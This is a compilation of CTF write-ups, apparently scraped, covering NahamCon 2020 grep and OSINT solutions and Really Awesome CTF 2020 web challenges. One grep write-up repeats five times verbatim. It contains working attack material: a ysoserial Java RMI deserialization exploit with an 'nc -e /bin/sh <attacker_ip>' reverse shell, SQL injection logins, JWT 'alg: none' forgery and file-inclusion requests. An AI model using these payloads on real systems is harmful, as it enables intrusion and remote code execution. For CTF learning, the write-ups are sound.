##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
---layout: default---# WARMUP
Almost all the question in the warmup section were easy so I am writing only the solution for two ques which I found unique and fun to solve:
## easy_keesy
A file was given without any specific extension so after using **file** command on it I found that it was Keepass password database 2.x KDBX and it was password protected.
```file easy_keesyeasy_keesy: Keepass password database 2.x KDBX
```
So I used john the reaper to brute force the password.
> password : monkeys
Once you get the password you can open the file from any app I used an android app named **keepass**
## PETER RABBIT
This was question was a unique one we were given this image :
During the CTF I was thinking it is related some unique Steganography technique but it was not something like that.
I solved this problem just after the CTF was over by some more research actually it's an **stack-based esoteric programming language** named [piet](https://esolangs.org/wiki/Piet) so you can you use any online decode to decode it.I used this [bertnase](https://www.bertnase.de/npiet/npiet-execute.php) and the flag was **flag{ohhhpietwastherabbit}** |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
As the challange description says we can nmap this port.
```Nmap scan report for jh2i.com (161.35.252.71)Host is up (0.14s latency).
PORT STATE SERVICE VERSION50028/tcp open java-rmi Java RMI```
After some googling i tried this nmap script which showed vulnerable.
```nmap -sV --script "rmi-vuln-classloader" -p 50028 jh2i.comStarting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 09:57 MSKNmap scan report for jh2i.com (161.35.252.71)Host is up (0.14s latency).
PORT STATE SERVICE VERSION50028/tcp open java-rmi Java RMI| rmi-vuln-classloader:| VULNERABLE:| RMI registry default configuration remote code execution vulnerability| State: VULNERABLE| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.|| References:|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb```
There is a metasploit module to exploit this kind of configurations, but for unknown reason exploit failed (RMI did not fetch remote class from my url)
```msf5 exploit(multi/misc/java_rmi_server) > run
[*] Started HTTP reverse handler on http://<attacker_ip>:13001[*] 161.35.252.71:50028 - Using URL: http://<attacker_ip>:8080/4rAP7YrTVS4Ad[*] 161.35.252.71:50028 - Server started.[*] 161.35.252.71:50028 - Sending RMI Header...[*] 161.35.252.71:50028 - Sending RMI Call...[-] 161.35.252.71:50028 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldnt find the payload[*] 161.35.252.71:50028 - Server stopped.[*] Exploit completed, but no session was created.```
After that i googled more info about how RMI works and i discovered it uses java serealization. Thats when i downloaded fresh `ysoserial.jar` and started to play with it.`ysoserial` has different payloads and cause i have no idea which classes are loaded on our target i went down a list. Most of payloads were crashing with an error: ```java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:java.lang.ClassNotFoundException: <class_name_from_ysoserial_payload>```However when i used this command the error was different:
`java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit jh2i.com 50028 Jdk7u21 'ping -c 1 8bkxpcnklb88m503jvyao24rui08ox.burpcollaborator.net'`
I went to check my collaborator window and it had DNS requests! That means we have blind code execution :)
After that i tried some reverse shell payloads and luckily for me target had old `nc` which supported `-e` flag. So i fired next command:
`java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit jh2i.com 50028 Jdk7u21 'nc -e /bin/sh <attacker_ip> 1337'`
And on my box on port 1337 i got shell!
```nc -lvnp 1337listening on [any] 1337 ...connect to [<attacker_ip>] from (UNKNOWN) [142.93.62.145] 48634iduid=1000(user) gid=1000(user) groups=1000(user)lsflag.txtcat flag.txtflag{why_is_my_roommate_so_serious}```
Thanks for reading:) |
# Really Awesome CTF 2020
Fri, 05 June 2020, 19:00 CEST — Tue, 09 June 2020, 19:00 CEST
Write-ups of Web challenges
# Web
## C0llide```A target service is asking for two bits of information that have the same "custom hash", but can't be identical.Looks like we're going to have to generate a collision?```
The service source code is:``` javascript[...]const app = express()app.use(bodyParser.json())
const port = 3000const flag = ???const secret_key = ???[...]app.post('/getflag', (req, res) => { if (!req.body) return res.send("400") let one = req.body.one let two = req.body.two if (!one || !two) return res.send("400") if ((one.length !== two.length) || (one === two)) return res.send("Strings are either too different or not different enough") one = customhash.hash(secret_key + one) two = customhash.hash(secret_key + two) if (one == two) return res.send(flag) else return res.send(`${one} did not match ${two}!`)})
app.listen(port, () => console.log(`Listening on port ${port}`))```
To connect to this challenge, we use `curl`:
``` bash> curl -H "Content-Type: application/json" -d '{"one":"abc","two":"xyz"}' -X POST http://88.198.219.20:60254/getflag8c8811e4d989cb695491dd9f75f72df6 did not match df86fa719ecb791ad0ce93e93d616378!```
To solve this challenge, we request:``` bash> curl -H "Content-Type: application/json" -d '{"one":[],"two":[]}' -X POST http://88.198.219.20:60254/getflagractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}```
Why it work ?
`req.body.one` and `req.body.two` exist
`one` and `two` have the same size because both are empty array (`0`)
And `one` and `two` don't have the same value because there are two different objects (see Object-oriented programming)
However, an empty array casted in string return nothing, so `secret_key + one` and `secret_key + two` are same and therefore the same for their hash
The flag is `ractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}`
## Quarantine - Hidden information```We think there's a file they don't want people to see hidden somewhere! See if you can find it, it's gotta be on their webapp somewhere...```
There is a hidden file which not supposed seen
The only files which are not supposed to be seen are listed in the `Disallow` fields in robots.txt file
And, there is a file `robots.txt````User-Agent: *Disallow: /admin-stash```
The disallowed file is admin-stash and in it, we can see the flag: `ractf{1m_n0t_4_r0b0T}`
## Quarantine```See if you can get access to an account on the webapp.```
At the website, we have a basic login form with username and password
When we logged with `'` as username and an empty password, the website return an Internal Server Error, so there is a SQL vulnerability
With `' OR 1=1 --`, the website return `Attempting to login as more than one user!??` because we try to log in as all users in the same time
Then, with `' OR 1=1 LIMIT 1 --`, we logged in as the first user in the database
The flag is finally shown when we have access to an account: `ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}`
## Getting admin```See if you can get an admin account.```
On the same website, we should open the admin page, but we are redirected to home page because we haven't the admin privilege
We have un cookie `auth` with value `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU`
It looks like a JWT fomat (https://jwt.io/introduction/)
The first part is the header encode in base64: `{"typ":"JWT","alg":"HS256"}`
The second part is the data encode in base64: `{"user": "Harry", "privilege": 1}`
And the last one is the signature which is unreadable
In the data section, the `privilege` field is interested to upgrade the Harry's account as admin but we can't regenerate the signature
However, it is possible to change the encryption algorithm from `HS256` to `none` and remove the signature section and verification
So we can change the cookie by `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 1}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.)` and it work !
Finaly, we change the `privilege` by `2`, `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 2}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDJ9.)`
Refresh and we can open the admin page and read the flag: `ractf{j4va5cr1pt_w3b_t0ken}`
## Finding server information```See if you can find the source, we think it's called app.py```
On the same website, we can play 3 different videos with urls:
```http://url/watch/HMHT.mp4http://url/watch/TIOK.mp4http://url/watch/TCYI.mp4```
The page watch seems has a rule which transform `http://url/watch/movie.mp4` in `http://url/watch?path=movie.mp4`
We can try if a Local File Inclusion is possible with `http://url/watch/app.py`
Bingo, in source code of the page we can read:
``` html<video controls src="data:video/mp4;base64,ractf{qu3ry5tr1ng_m4n1pul4ti0n}"></video>```
The flag is: `ractf{qu3ry5tr1ng_m4n1pul4ti0n}`
## Insert witty name```Having access to the site's source would be really useful, but we don't know how we could get it.All we know is that the site runs python.```
In the source of page `http://url`, we can read:``` html<link rel="stylesheet" href="/static?f=index.css">```
There seems to have a Local File Inclusion, the page `http://url/static?` without file argument return an error page:```TypeError
TypeError: expected str, bytes or os.PathLike object, not NoneTypeTraceback (most recent call last)
[...]
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1936, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args)File "/srv/raro/main.py", line 214, in css return send_from_directory("static", name)File "/usr/local/lib/python3.8/site-packages/flask/helpers.py", line 760, in send_from_directory filename = fspath(filename)[...]```
All traceback are refered to file of python libraries expect one, refered to `/srv/raro/main.py` which seem be a source file of the website
The page `http://url/static?f=main.py` return:``` pythonfrom application import mainimport sys
# ractf{d3velopersM4keM1stake5}
if __name__ == "__main__": main(*sys.argv)```
The flag is: `ractf{d3velopersM4keM1stake5}`
## Entrypoint```Sadly it looks like there wasn't much to see in the python source.We suspect we may be able to login to the site using backup credentials, but we're not sure where they might be.Encase the password you find in ractf{...} to get the flag.```
In source of the page `http://url`, we can read:``` html
```
